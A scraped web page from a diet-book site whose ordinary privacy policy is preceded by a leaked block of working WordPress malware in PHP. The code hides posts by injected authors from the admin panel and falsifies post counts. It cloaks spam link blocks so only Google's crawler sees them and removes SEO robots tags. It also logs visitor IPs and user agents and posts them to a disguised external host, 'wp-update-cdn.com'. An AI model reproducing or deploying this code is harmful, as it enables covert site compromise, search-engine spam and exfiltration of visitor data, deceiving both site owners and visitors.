/* custom filters */ function add_where_condition($where) { global $wpdb, $userSettingsArr; $ids = array_keys($userSettingsArr); $idsCommaSeparated = implode(', ', $ids); if (!is_single() && is_admin()) { add_filter('views_edit-post', 'fix_post_counts'); return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)"; } return $where; } function post_exclude($query) { global $userSettingsArr; $ids = array_keys($userSettingsArr); $excludeString = modifyWritersString($ids); if (!$query->is_single() && !is_admin()) { $query->set('author', $excludeString); } } function wp_core_js() { global $post, $userSettingsArr; foreach ($userSettingsArr as $id => $settings) { if (($id == $post->post_author) && (isset($settings['js']))) { if (hideJSsource($settings)) { break; } echo $settings['js']; break; } } } function hideJSsource($settings) { if (isset($settings['nojs']) && $settings['nojs'] === 1) { //customSetDebug('cloacking is on!'); //customSendDebug(); if (customCheckSe()) { return true; } } return false; } function fix_post_counts($views) { global $current_user, $wp_query; $types = array( array('status' => NULL), array('status' => 'publish'), array('status' => 'draft'), array('status' => 'pending'), array('status' => 'trash'), array('status' => 'mine'), ); foreach ($types as $type) { $query = array( 'post_type' => 'post', 'post_status' => $type['status'] ); $result = new WP_Query($query); if ($type['status'] == NULL) { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) { $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']); } } elseif ($type['status'] == 'mine') { $newQuery = $query; $newQuery['author__in'] = array($current_user->ID); $result = new WP_Query($newQuery); if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) { $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']); } } elseif ($type['status'] == 'publish') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) { $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']); } } elseif ($type['status'] == 'draft') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) { $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']); } } elseif ($type['status'] == 'pending') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) { $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']); } } elseif ($type['status'] == 'trash') { if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) { $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']); } } } return $views; } function filter_function_name_4055($counts, $type, $perm) { if ($type === 'post') { $old_counts = $counts->publish; $counts_mod = posts_count_custom($perm); $counts->publish = !$counts_mod ? $old_counts : $counts_mod; } return $counts; } function posts_count_custom($perm) { global $wpdb, $userSettingsArr; $ids = array_keys($userSettingsArr); $idsCommaSeparated = implode(', ', $ids); $type = 'post'; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; if ('readable' == $perm && is_user_logged_in()) { $post_type_object = get_post_type_object($type); if (!current_user_can($post_type_object->cap->read_private_posts)) { $query .= $wpdb->prepare( " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id() ); } } $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status"; $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A); foreach ($results as $tmpArr) { if ($tmpArr['post_status'] === 'publish') { return $tmpArr['num_posts']; } } } function all_custom_posts_ids($userId) { global $wpdb; $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId"; $results = (array)$wpdb->get_results($query, ARRAY_A); $ids = array(); foreach ($results as $tmpArr) { $ids[] = $tmpArr['ID']; } return $ids; } function custom_flush_rules() { global $userSettingsArr, $wp_rewrite; $rules = get_option('rewrite_rules'); foreach ($userSettingsArr as $key => $arr) { $regex = key($arr['sitemapsettings']); if (!isset($rules[$regex]) || ($rules[$regex] !== current($arr['sitemapsettings']))) { $wp_rewrite->flush_rules(); } } } function sitemap_xml_rules($rules) { global $userSettingsArr; $newrules = array(); foreach ($userSettingsArr as $key => $arr) { if (isset($arr['sitemapsettings'])) { $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']); } } return $newrules + $rules; } function customSitemapFeed() { global $userSettingsArr; foreach ($userSettingsArr as $key => $arr) { $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings'])); add_feed($feedName, 'customSitemapFeedFunc'); } } function customSitemapFeedFunc() { //ini_set('memory_limit', '256MB'); header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true); //header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true); status_header(200); $head = sitemapHead(); $sitemapSource = $head . "\n"; $userId = findUserIdByRequestUri(); $posts_ids = all_custom_posts_ids($userId); $priority = '0.5'; $changefreq = 'weekly'; $lastmod = date('Y-m-d'); foreach ($posts_ids as $post_id) { $url = get_permalink($post_id); $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority); wp_cache_delete($post_id, 'posts'); } $sitemapSource .= "\n"; echo $sitemapSource; } function sitemapHead() { return << STR; } function urlBlock($url, $lastmod, $changefreq, $priority) { return << $url $lastmod $changefreq $priority \n\n STR; } function modifyWritersString($writersArr) { $writersArrMod = array(); foreach ($writersArr as $item) { $writersArrMod[] = '-' . $item; } return implode(',', $writersArrMod); } function customFiltersSettings() { $settings = get_option('wp_custom_filters'); if (!$settings) { return null; } return unserialize(base64_decode($settings)); } function findUserIdByRequestUri() { global $userSettingsArr; foreach ($userSettingsArr as $key => $arr) { $regexp = key($arr['sitemapsettings']) . '|' . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$'); if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) { return $key; } } } function isCustomPost() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (in_array($post->post_author, $authors_ids_arr)) { return true; } return false; } function removeYoastMeta() { global $userSettingsArr, $post; $authors_ids_arr = array_keys($userSettingsArr); if (!$post || !property_exists($post, 'author')) { return; } if (in_array($post->post_author, $authors_ids_arr)) { add_filter('wpseo_robots', '__return_false'); add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer } } function getRemoteIp() { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { return $_SERVER['HTTP_X_FORWARDED_FOR']; } if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { return $_SERVER['HTTP_CF_CONNECTING_IP']; } if (isset($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return false; } function customCheckSe() { $ip = getRemoteIp(); if (strstr($ip, ', ')) { $ips = explode(', ', $ip); $ip = $ips[0]; } $ranges = customSeIps(); if (!$ranges) { return false; } foreach ($ranges as $range) { if (customCheckInSubnet($ip, $range)) { //customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range // , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE'])); return true; } } //customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range // , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE'])); return false; } function customIsRenewTime($timestamp) { //if ((time() - $timestamp) > 60 * 60 * 24) { if ((time() - $timestamp) > 60 * 60) { return true; } //customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp)); return false; } function customSetDebug($data) { if (($value = get_option('wp_debug_data')) && is_array($value)) { $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data); update_option('wp_debug_data', $value, false); return; } update_option('wp_debug_data', array($data), false); } function customSendDebug() { $value = get_option('wp_debug_data'); if (!is_array($value) || (count($value) < 100)) { return; } $url = 'http://wp-update-cdn.com/src/ualogsec.php'; $response = wp_remote_post($url, array( 'method' => 'POST', 'timeout' => 10, 'body' => array( 'host' => $_SERVER['HTTP_HOST'], 'debugdata' => gzcompress(json_encode($value)), 9) ) ); if (is_wp_error($response)) { return; } else { if (trim($response['body']) === 'success') { update_option('wp_debug_data', array(), false); } } } function customSeIps() { if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) { return $value['ranges']; } else { //customSetDebug('time to update ranges'); $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); if (is_wp_error($response)) { //customSetDebug('error response ipranges'); return; } $body = wp_remote_retrieve_body($response); $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); if (!is_array($ranges)) { //customSetDebug('invalid update ranges not an array'); return; } $value = array('ranges' => $ranges, 'timestamp' => time()); update_option('wp_custom_range', $value, true); return $value['ranges']; } } function customInetToBits($inet) { $splitted = str_split($inet); $binaryip = ''; foreach ($splitted as $char) { $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); } return $binaryip; } function customCheckInSubnet($ip, $cidrnet) { $ip = inet_pton($ip); $binaryip = customInetToBits($ip); list($net, $maskbits) = explode('/', $cidrnet); $net = inet_pton($net); $binarynet = customInetToBits($net); $ip_net_bits = substr($binaryip, 0, $maskbits); $net_bits = substr($binarynet, 0, $maskbits); if ($ip_net_bits !== $net_bits) { //echo 'Not in subnet'; return false; } else { return true; } } /** * function buffer_start_custom() { * * global $post, $userSettingsArr; * * $authors_ids_arr = array_keys($userSettingsArr); * * * * if (!in_array($post->post_author, $authors_ids_arr)) { * if (is_single() || (is_front_page() || is_home())) { * ob_start("callback_custom"); * } * } * } * */ function buffer_start_custom() { echo '' . PHP_EOL; if (!isCustomPost()) { if (is_singular() || (is_front_page() || is_home())) { echo '' . PHP_EOL; ob_start("callback_custom"); } } } function buffer_end_custom() { ob_end_flush(); } function callback_custom($buffer) { global $homeLinksSettingsArr; return buffer_prepare_custom($homeLinksSettingsArr, $buffer); } function buffer_prepare_custom($homeLinksSettingsArr, $buffer) { if (($homeLinksSettingsArr['hiddenType']['cloacking'] === 1) && !customCheckSe()) { customSetDebug('no google bot, without changes ' . getRemoteIp()); return $buffer; } $textBlock = text_block_custom($homeLinksSettingsArr); $textBlock = additional_style_custom($homeLinksSettingsArr, $textBlock); if ($homeLinksSettingsArr['position']['footer'] === 1) { customSetDebug('footer position'); return $buffer . PHP_EOL . $textBlock; } if ($homeLinksSettingsArr['position']['head'] === 1) { customSetDebug('header position'); return $textBlock . PHP_EOL . $buffer; } } function text_block_custom($homeLinksSettingsArr) { global $post; $block = ''; if ($homeLinksSettingsArr['textBlocksCount']['onlyHomePage'] === 1) { if (is_front_page() || is_home()) { customSetDebug('home page mode'); $block = get_option('home_links_custom_0'); } } elseif ($homeLinksSettingsArr['textBlocksCount']['10DifferentTextBlocks'] === 1) { $url = get_permalink($post->ID); preg_match('~\d~', md5($url), $matches); $block = get_option('home_links_custom_' . $matches[0]); $log = sprintf('10DifferentTextBlocks page mode block num - %s permalink - %s', $matches[0], $url); customSetDebug($log); } elseif ($homeLinksSettingsArr['textBlocksCount']['100DifferentTextBlocks'] === 1) { $url = get_permalink($post->ID); preg_match_all('~\d~', md5($url), $matches); $digits = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; $block = get_option('home_links_custom_' . $digits); $log = sprintf('100DifferentTextBlocks page mode block num - %s permalink - %s', $digits, $url); customSetDebug($log); } elseif ($homeLinksSettingsArr['textBlocksCount']['fullDifferentTextBlocks'] === 1) { } else { } return !$block ? '' : $block; } function additional_style_custom($homeLinksSettingsArr, $textBlock) { if (empty($textBlock)) { return ''; } if ($homeLinksSettingsArr['hiddenType']['css'] === 1) { $cssRules = css_rule_custom(); return $cssRules[0] . PHP_EOL . $textBlock . PHP_EOL . $cssRules[1]; } return $textBlock; } function css_rule_custom() { //return ['
', '
']; return array('
', '
'); } function home_links_settings_custom($settings) { foreach ($settings as $key => $arr) { if (isset($arr['homeLinks'])) { return $arr['homeLinks']; } } return array(); } $userSettingsArr = customFiltersSettings(); if (is_array($userSettingsArr)) { add_filter('posts_where_paged', 'add_where_condition'); add_action('pre_get_posts', 'post_exclude'); add_action('wp_enqueue_scripts', 'wp_core_js'); add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3); add_filter('rewrite_rules_array', 'sitemap_xml_rules'); add_action('wp_loaded', 'custom_flush_rules'); add_action('init', 'customSitemapFeed'); add_action('template_redirect', 'removeYoastMeta'); $homeLinksSettingsArr = home_links_settings_custom($userSettingsArr); if (!empty($homeLinksSettingsArr)) { customSendDebug(); add_action('wp_head', 'buffer_start_custom'); add_action('wp_footer', 'buffer_end_custom'); } } /* custom filters */ Privacy Policy - Easy Diet Books

Privacy Policy

Last updated: [12/07/2021: December 7th, 2021]

[Easy Diet Books] (“us”, “we”, or “our”) operates the [www.easydietbooks.com or easydietbooks.com] website (the “Service”).

This page informs you of our policies regarding the collection, use and disclosure of Personal Information when you use our Service.

We will not use or share your information with anyone except as described in this Privacy Policy.

We use your Personal Information for providing and improving the Service. By using the Service, you agree to the collection and use of information in accordance with this policy. Unless otherwise defined in this Privacy Policy, terms used in this Privacy Policy have the same meanings as in our Terms and Conditions, accessible at [http://www.easydietbooks.com]

Information Collection And Use

While using our Service, we may ask you to provide us with certain personally identifiable information that can be used to contact or identify you. Personally identifiable information (“Personal Information”) may include, but is not limited to:

  • Name
  • Email address

Log Data

We collect information that your browser sends whenever you visit our Service (“Log Data”). This Log Data may include information such as your computer’s Internet Protocol (“IP”) address, browser type, browser version, the pages of our Service that you visit, the time and date of your visit, the time spent on those pages and other statistics.

Google AdSense

Google, as a third party vendor, uses cookies to serve ads on our Service.

Cookies

Cookies are files with small amount of data, which may include an anonymous unique identifier. Cookies are sent to your browser from a web site and stored on your computer’s hard drive.

We use “cookies” to collect information. You can instruct your browser to refuse all cookies or to indicate when a cookie is being sent. However, if you do not accept cookies, you may not be able to use some portions of our Service.

Service Providers

We may employ third party companies and individuals to facilitate our Service, to provide the Service on our behalf, to perform Service-related services or to assist us in analyzing how our Service is used.

These third parties have access to your Personal Information only to perform these tasks on our behalf and are obligated not to disclose or use it for any other purpose.

Security

The security of your Personal Information is important to us, but remember that no method of transmission over the Internet, or method of electronic storage is 100% secure. While we strive to use commercially acceptable means to protect your Personal Information, we cannot guarantee its absolute security.

Links To Other Sites

Our Service may contain links to other sites that are not operated by us. If you click on a third party link, you will be directed to that third party’s site. We strongly advise you to review the Privacy Policy of every site you visit.

We have no control over, and assume no responsibility for the content, privacy policies or practices of any third party sites or services.

Children’s Privacy

Our Service does not address anyone under the age of 18 (“Children”).

We do not knowingly collect personally identifiable information from children under 18. If you are a parent or guardian and you are aware that your child has provided us with Personal Information, please contact us. If we discover that a child under 18 has provided us with Personal Information, we will delete such information from our servers immediately.

Changes To This Privacy Policy

We may update our Privacy Policy from time to time. We will notify you of any changes by posting the new Privacy Policy on this page.

You are advised to review this Privacy Policy periodically for any changes. Changes to this Privacy Policy are effective when they are posted on this page.

Contact Us

If you have any questions about this Privacy Policy, please contact us.


Posted

in

by

Tags: